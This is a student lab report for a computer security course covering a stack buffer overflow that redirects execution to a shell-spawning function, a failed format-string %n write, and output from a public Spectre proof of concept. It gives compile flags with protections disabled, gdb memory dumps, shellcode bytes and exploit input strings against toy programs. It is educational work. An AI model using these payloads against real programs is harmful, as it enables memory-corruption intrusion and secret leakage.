

**Farhanmadar Diwan**  
**Mengting Xia**  
**Nick Hoo**

## **Project 2**

### **CS I4900**

Part 1:

When following command is used for part 1:

```
#include <stdio.h>
```

```
Int main()
{
    char buffer[16];
    scanf("%s",buffer);
    printf("string read: %s\n",buffer);
    return 0;
}
```

On having input of 24 "A", we discovered that the buffer is overflowed and until the point of return address.

```
(gdb) x /128bx buffer
0x7fffffff3e0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffff3e8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffff3f0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffff3f8: 0x00 0x1d 0xe1 0xf7 0xff 0x7f 0x00 0x00
0x7fffffff400: 0xe8 0xe4 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffff408: 0x00 0x00 0x00 0x00 0x01 0x00 0x00 0x00
0x7fffffff410: 0x45 0x51 0x55 0x55 0x55 0x55 0x00 0x00
0x7fffffff418: 0xcf 0x17 0xe1 0xf7 0xff 0x7f 0x00 0x00
0x7fffffff420: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffff428: 0x77 0xb0 0x45 0x7d 0xb4 0xa7 0x8d 0xd7
0x7fffffff430: 0x60 0x50 0x55 0x55 0x55 0x55 0x00 0x00
0x7fffffff438: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffff440: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffff448: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffff450: 0x77 0xb0 0x65 0x16 0xe1 0xf2 0xd8 0x82
0x7fffffff458: 0x77 0xb0 0xe3 0xe7 0xdc 0xe2 0xd8 0x82
```

Here the return address is ..ffe3f8 and for exploits we need to change the return address to ...ffe3e0. We are not able to resolve that as the input is ASCII only and it is converted to HEX via scanf. So, in order to override with the desired value of HEX, we need to input ASCII value

...ffe3e0 and unfortunately the ASCII value we got back is not ideal to be entered as input. See picture below

```
adminuser@kali:~/Desktop/project-2/Part_1$ echo -e "\xe0\xe3\xff\xff\xff\x7f"
```

We modified the code to use strcpy instead and we were able to change the return address using a python script. Only issue was we weren't able to find a shellcode which is 20 bytes or lower to allow us to exploit the vulnerability in code in order to gain escalated privilege using shell. If we had proper shell code, we could've replaced the "A" with \x90 which is for NOP and can allow the program to jump to a NOP pointer and it will execute the shell followed by the NOP. Below is the screenshot of buffer as to we were able to change the return address

```
(gdb) x /128bx buffer
0x7fffffff3b0: 0x41 0x41 0x41 0x41 0x31 0xc9 0x6a 0x0b
0x7fffffff3b8: 0x58 0x51 0x68 0x2f 0x2f 0x73 0x68 0x68
0x7fffffff3c0: 0x2f 0x62 0x69 0x6e 0x89 0xe3 0xcd 0x80
0x7fffffff3c8: 0xb0 0xe3 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffff3d0: 0xb8 0xe4 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffff3d8: 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00
0x7fffffff3e0: 0x45 0x51 0x55 0x55 0x55 0x55 0x00 0x00
0x7fffffff3e8: 0xcf 0x17 0xe1 0xf7 0xff 0x7f 0x00 0x00
0x7fffffff3f0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffff3f8: 0xbb 0xb3 0x48 0x7a 0x76 0x0a 0x24 0xef
0x7fffffff400: 0x60 0x50 0x55 0x55 0x55 0x55 0x00 0x00
0x7fffffff408: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffff410: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffff418: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffff420: 0xbb 0xb3 0xc8 0x1e 0x23 0x5f 0x71 0xba
0x7fffffff428: 0xbb 0xb3 0xee 0xe0 0x1e 0x4f 0x71 0xba
```

On further troubleshooting, we were able successfully perform an exploit to get shellcode working. Below are the steps we performed:

- Compile part\_1.c file.
- gcc -g -z execstack -fno-stack-protector -o test part\_1.c
- Enter gdb debug mode, get the return address and lonely function (start a shell) address and replace the return address to lonely function.
- gdb test
- Set up breakpoints at line 10 and line 11
  - o b 10
  - o b 11
- run
- continue

```
(gdb) disassemble lonely
Dump of assembler code for function lonely:
0x00005555555476d <+0>: push %rbp
0x00005555555476e <+1>: mov %rsp,%rbp
0x000055555554771 <+4>: sub $0x10,%rsp
0x000055555554775 <+8>: lea 0x101(%rip),%rax # 0x5555555487d
0x00005555555477c <+15>: mov %rax,-0x10(%rbp)
0x000055555554780 <+19>: movq $0x0,-0x8(%rbp)
0x000055555554788 <+27>: mov -0x10(%rbp),%rax
0x00005555555478c <+31>: lea -0x10(%rbp),%rcx
0x000055555554790 <+35>: mov $0x0,%edx
0x000055555554795 <+40>: mov %rcx,%rsi
0x000055555554798 <+43>: mov %rax,%rdi
0x00005555555479b <+46>: callq 0x555555545f0 <execve@plt>
0x0000555555547a0 <+51>: mov $0x0,%eax
0x0000555555547a5 <+56>: leaveq
0x0000555555547ab <+57>: retq
End of assembler dump.
(gdb)

(gdb) x /120x buffer
0x7fffffffde30: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffde38: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffde40: 0x00 0xde 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffde48: 0xc0 0x47 0x55 0x55 0x55 0x00 0x00 0x00
0x7fffffffde50: 0x40 0xdf 0xff 0xff 0x7f 0x00 0x00 0x00
0x7fffffffde58: 0x00 0x00 0x00 0x00 0x01 0x00 0x00 0x00
0x7fffffffde60: 0xe0 0x47 0x55 0x55 0x55 0x00 0x00 0x00
0x7fffffffde68: 0xf7 0x3b 0xa0 0xf7 0xff 0x7f 0x00 0x00
0x7fffffffde70: 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffde78: 0x48 0xdf 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffde80: 0x00 0x00 0x00 0x00 0x01 0x00 0x00 0x00
0x7fffffffde88: 0xa7 0x47 0x55 0x55 0x55 0x00 0x00 0x00
0x7fffffffde90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffde98: 0x79 0x52 0x9e 0xf0 0x99 0xb1 0x7c 0x3d
0x7fffffffdea0: 0x30 0x46 0x55 0x55 0x55 0x00 0x00 0x00
0x7fffffffdea8: 0x40 0xdf 0xff 0xff 0x7f 0x00 0x00 0x00
(gdb) info frame
Stack level 0, frame at 0x7fffffffde50:
 rbp = 0x5555555476e in f (part_1.c:11); saved rbp = 0x555555547c0
called by frame at 0x7fffffffde10
source language c.
Arglist at 0x7fffffffde40, args:
Locals at 0x7fffffffde40, Previous frame's sp is 0x7fffffffde50
Saved registers:
 rbp at 0x7fffffffde40, rlp at 0x7fffffffde48
(gdb)
```

- we get the return address at 0x7fffffffde48 and lonely function address 0x00005555555476d
- set {void\*} 0x7fffffffde48 = 0x00005555555476d
- continue
- we start a shell

If we want to achieve this when we input a malicious string

- The difference between initial address and return address is 24 DEC. If we provide 32 characters, we will fill up the buffer.
- We can input the string `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmGUUUU[space][space]`. The simulation is listed below.

```
hang@hang-VirtualBox:~/Downloads/CSCI4900/final$ gcc -z execstack -fno-stack-protector -o test part_1.c
hang@hang-VirtualBox:~/Downloads/CSCI4900/final$ setarch x86_64 -R ./test
Please input 16 chars
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmGUUUU
$
```

## Part 2:

The figure below shows the location of the buffer in the memory at the execution of `char buffer[n]` which is 0x1c.

```
0x0000555555546d9 <+15>: movl $0x80,-0x1c(%rbp)
=> 0x0000555555546e0 <+22>: mov -0x1c(%rbp),%eax
0x0000555555546e3 <+25>: cltq
0x0000555555546e5 <+27>: sub $0x1,%rax
0x0000555555546e9 <+31>: mov %rax,-0x18(%rbp)
0x0000555555546ed <+35>: mov -0x1c(%rbp),%eax
```

When `Int y = 0` is executed, the location of `y` is 0x2c.

```
0x000055555554733 <+105>: mov %rax,-0x28(%rbp)
=> 0x000055555554737 <+109>: movl $0x0,-0x2c(%rbp)
0x00005555555473e <+116>: mov 0x2008cb(%rip),%rdx # 0x55555575010 <stdin@@GLIBC_2.2.5>
0x000055555554745 <+123>: mov -0x28(%rbp),%rax
0x000055555554749 <+127>: mov -0x1c(%rbp),%ecx
```

To exploit format strings, one method is to use large strings to overflow the buffer. But in the code below, `'fgets'` is used which limits the number of bytes for input. The goal here is to

overwrite y after the 128-byte buffer is filled in. %x is used to move toward the location of y in the stack.

```
8  #include <stdio.h>
9
10 int main() {
11     const int n = 128;
12     int y = 0xdead0de;
13     char buffer[n];
14
15     fgets(buffer, n, stdin);
16     printf(buffer);
17
18     printf("y = %d\n", y);
19
20     return 0;
21 }
```

First, we have to locate the start of the input string. Here, I use `AAAA.%x` to find out where the input string is.

```
AAAA.%x.%x.%x.%x.%x.%x
AAAA.f7ffdc20.f7dcf8d0.1.55756277.f7fe24c0.41414141
y = -559038242
```

`41414141` represents the input string which is `AAAA`. Now I replace the last %x with %n to write the number of bytes before %n into the location.

The address of the buffer is 0x7ffffffdb90. The address of y is 0x7ffffffdc14. The offset between buffer and y is  $(8 * 16 + 4 = 132)$ . Since the system is little-endian, the y address is written as `x14\xdc\xff\xff\xff\x7f`. `x14\xdc\xff\xff\xff\x7f.%x.%x.%x.%x.%x.%n` is the final input to overwrite the local variable in the program. But the result is a segmentation fault. I also tried the address with the number of %x equal to the offset of buffer and y and other methods, but the result is the same.

```
\x14\xdc\xff\xff\xff\x7f.%x.%x.%x.%x.%x.%n
Segmentation fault (core dumped)
```

### Part 3:

In order to make a proof of concept for a code to be executed which uses a random value using `rand()` and use that to access an array.

We used following code for Part 3:

```
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <time.h>

unsigned int array_size = 16;

int main()
{
    unsigned int x;
    x = rand() %10;
    double time_spent = 0.0;
    time_t begin = time(NULL);

    while (x < array_size)
    {
        printf("Running the code");
        printf("%hhx\n", x);
        time_t end = time(NULL);
        time_spent = end - begin;
        printf("Runtime \n", time_spent);

        x = rand() %20;
        time_t begin = time(NULL);
    }

    printf("X is larger than array");
    printf("%hhx\n", x);
    time_t end = time(NULL);
    time_spent = end - begin;
```

```

        printf("Time Elapsed \n", time_spent);

    return 0;
}

```

The goal of this code was to create an array with size of 16 and we would choose a random number. If the number was lower than 16, the code would be executed with output of time of execution and if the number is higher than array then it would be executed with different run time. The idea was to compare the runtime of the code for different values. Unfortunately, we weren't able to get the values for execution time for each process in output and due to this we weren't able to proceed with the code. We tried different parameters using time\_t, count\_t, etc but none provided any values for execution time.

Nevertheless, we learned quite a bit about this exploit and came across Spectre and Meltdown exploits which we found through the one source in the citation. We were able to test out the code from one of the github sources and we were able to learn how the exploit happened. We found following output when we ran the code by changing the secret to "Computer Security was best class we took"

```

Reading at malicious_x = 0xffffffffffffdfb8... Unclear: 0x43='C' score=976
(second best: 0x03='?' score=865)
Reading at malicious_x = 0xffffffffffffdfb9... Unclear: 0x6F='o' score=990
(second best: 0x03='?' score=865)
Reading at malicious_x = 0xffffffffffffdfba... Unclear: 0x6D='m' score=992
(second best: 0x03='?' score=875)
Reading at malicious_x = 0xffffffffffffdfbb... Unclear: 0x70='p' score=964
(second best: 0x00='?' score=928)
Reading at malicious_x = 0xffffffffffffdfbc... Unclear: 0x75='u' score=994
(second best: 0x03='?' score=837)
Reading at malicious_x = 0xffffffffffffdfbd... Unclear: 0x74='t' score=997
(second best: 0x03='?' score=907)
Reading at malicious_x = 0xffffffffffffdfbe... Unclear: 0x65='e' score=985
(second best: 0x03='?' score=858)
Reading at malicious_x = 0xffffffffffffdfbf... Unclear: 0x72='r' score=994
(second best: 0x03='?' score=896)
Reading at malicious_x = 0xffffffffffffdfc0... Unclear: 0x20=' ' score=986
(second best: 0x03='?' score=881)
Reading at malicious_x = 0xffffffffffffdfc1... Unclear: 0x53='S' score=992
(second best: 0x03='?' score=857)

```

Reading at malicious\_x = 0xffffffffffffdfc2... Unclear: 0x65='e' score=981  
(second best: 0x00='?' score=907)

Reading at malicious\_x = 0xffffffffffffdfc3... Unclear: 0x63='c' score=974  
(second best: 0x03='?' score=878)

Reading at malicious\_x = 0xffffffffffffdfc4... Unclear: 0x75='u' score=993  
(second best: 0x03='?' score=882)

Reading at malicious\_x = 0xffffffffffffdfc5... Unclear: 0x72='r' score=996  
(second best: 0x03='?' score=871)

Reading at malicious\_x = 0xffffffffffffdfc6... Unclear: 0x69='i' score=990  
(second best: 0x03='?' score=875)

Reading at malicious\_x = 0xffffffffffffdfc7... Unclear: 0x74='t' score=998  
(second best: 0x03='?' score=870)

Reading at malicious\_x = 0xffffffffffffdfc8... Unclear: 0x79='y' score=985  
(second best: 0x03='?' score=863)

Reading at malicious\_x = 0xffffffffffffdfc9... Unclear: 0x20=' ' score=987  
(second best: 0x00='?' score=930)

Reading at malicious\_x = 0xffffffffffffdfca... Unclear: 0x77='w' score=990  
(second best: 0x03='?' score=855)

Reading at malicious\_x = 0xffffffffffffdfcb... Unclear: 0x61='a' score=976  
(second best: 0x03='?' score=837)

Reading at malicious\_x = 0xffffffffffffdfcc... Unclear: 0x73='s' score=991  
(second best: 0x03='?' score=834)

Reading at malicious\_x = 0xffffffffffffdfcd... Unclear: 0x20=' ' score=989  
(second best: 0x03='?' score=849)

Reading at malicious\_x = 0xffffffffffffdfce... Unclear: 0x62='b' score=985  
(second best: 0x03='?' score=848)

Reading at malicious\_x = 0xffffffffffffdfcf... Unclear: 0x65='e' score=987  
(second best: 0x03='?' score=882)

Reading at malicious\_x = 0xffffffffffffdfd0... Unclear: 0x73='s' score=995  
(second best: 0x03='?' score=883)

Reading at malicious\_x = 0xffffffffffffdfd1... Unclear: 0x74='t' score=994  
(second best: 0x03='?' score=854)

Reading at malicious\_x = 0xffffffffffffdfd2... Unclear: 0x20=' ' score=996  
(second best: 0x03='?' score=860)

Reading at malicious\_x = 0xffffffffffffdfd3... Unclear: 0x63='c' score=977  
(second best: 0x03='?' score=874)



Reading at malicious\_x = 0xffffffffffffdfd4... Unclear: 0x6C='l' score=989  
(second best: 0x03='?' score=866)

Reading at malicious\_x = 0xffffffffffffdfd5... Unclear: 0x61='a' score=985  
(second best: 0x03='?' score=901)

Reading at malicious\_x = 0xffffffffffffdfd6... Unclear: 0x73='s' score=997  
(second best: 0x03='?' score=871)

Reading at malicious\_x = 0xffffffffffffdfd7... Unclear: 0x73='s' score=994  
(second best: 0x03='?' score=871)

Reading at malicious\_x = 0xffffffffffffdfd8... Unclear: 0x20=' ' score=988  
(second best: 0x00='?' score=963)

Reading at malicious\_x = 0xffffffffffffdfd9... Unclear: 0x77='w' score=991  
(second best: 0x03='?' score=848)

Reading at malicious\_x = 0xfffffffffffffdfa... Unclear: 0x65='e' score=985  
(second best: 0x00='?' score=926)

Reading at malicious\_x = 0xfffffffffffffdfb... Unclear: 0x20=' ' score=983  
(second best: 0x02='?' score=795)

Reading at malicious\_x = 0xfffffffffffffdfc... Unclear: 0x74='t' score=993  
(second best: 0x03='?' score=887)

Reading at malicious\_x = 0xfffffffffffffdfd... Unclear: 0x6F='o' score=991  
(second best: 0x00='?' score=919)

Reading at malicious\_x = 0xfffffffffffffdfe... Unclear: 0x6F='o' score=987  
(second best: 0x00='?' score=919)

Reading at malicious\_x = 0xfffffffffffffdf... Unclear: 0x6B='k' score=988  
(second best: 0x03='?' score=868)



## References

- [1] "Spectre & Meltdown - Computerphile," 05-Jan-2018. [Online]. Available: <https://www.youtube.com/watch?v=I5mRwzVvFGE>. [Accessed: 27-May-2021].
- [2] "Buffer Overflow Attack - Computerphile," 02-Mar-2016. [Online]. Available: <https://www.youtube.com/watch?v=1S0aBV-Waeo>. [Accessed: 27-May-2021].
- [3] "Exploring Buffer Overflows in C, part two: The exploit," *Tallan.com*, 04-Apr-2019. [Online]. Available: <https://www.tallan.com/blog/2019/04/04/exploring-buffer-overflows-in-c-part-two-the-exploit/>. [Accessed: 27-May-2021].
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- [5] "Meltdown and Spectre," *Meltdownattack.com*. [Online]. Available: <https://meltdownattack.com/>. [Accessed: 27-May-2021].
- [6] GitHub. 2021. longld/peda. [online] Available at: [<https://github.com/longld/peda>](https://github.com/longld/peda) [Accessed 27 May 2021].